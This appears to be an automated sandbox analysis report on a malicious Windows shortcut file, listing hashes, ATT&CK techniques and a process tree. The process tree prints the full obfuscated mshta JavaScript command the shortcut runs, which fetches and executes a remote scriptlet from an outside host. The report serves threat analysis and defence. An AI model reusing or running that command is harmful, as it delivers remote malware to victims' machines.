a89872c21ac68096a76a60e5a13c77ddf79252c3097aea42865879c5b6d452f3

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
23-05-2024 18:19

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General

Target

V_273686.Lnk.lnk
Size

14KB
MD5

1dca9e98e575af3b1e2b90e59d75dc43
SHA1

16cc510d884cae94137a9fbf90c4d2c0f0c5d2f1
SHA256

a89872c21ac68096a76a60e5a13c77ddf79252c3097aea42865879c5b6d452f3
SHA512

abbe50c0e93d99fe2c12c0c6c33204b28deeecf038f6cf11f67ba6ce770e4b95a7c3c9562512747a8df607408f342a877514e4d1d1dfedc3a5d96d9953563129
SSDEEP

384:nhjOveahqUcUXmdw7o3m7Ylw0sBsHorbqaUA/d:pOvShUXm68m00e1DY

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exe

flow pid process

7 564 mshta.exe
9 564 mshta.exe
12 564 mshta.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
7	564	mshta.exe
9	564	mshta.exe
12	564	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 4656 wrote to memory of 4816	4656	cmd.exe	cmd.exe
PID 4656 wrote to memory of 4816	4656	cmd.exe	cmd.exe
PID 4816 wrote to memory of 564	4816	cmd.exe	mshta.exe
PID 4816 wrote to memory of 564	4816	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\V_273686.Lnk.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4656

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c MshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"
2⤵
- Suspicious use of WriteProcessMemory
PID:4816

C:\Windows\system32\mshta.exe
MshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"
3⤵
- Blocklisted process makes network request
PID:564

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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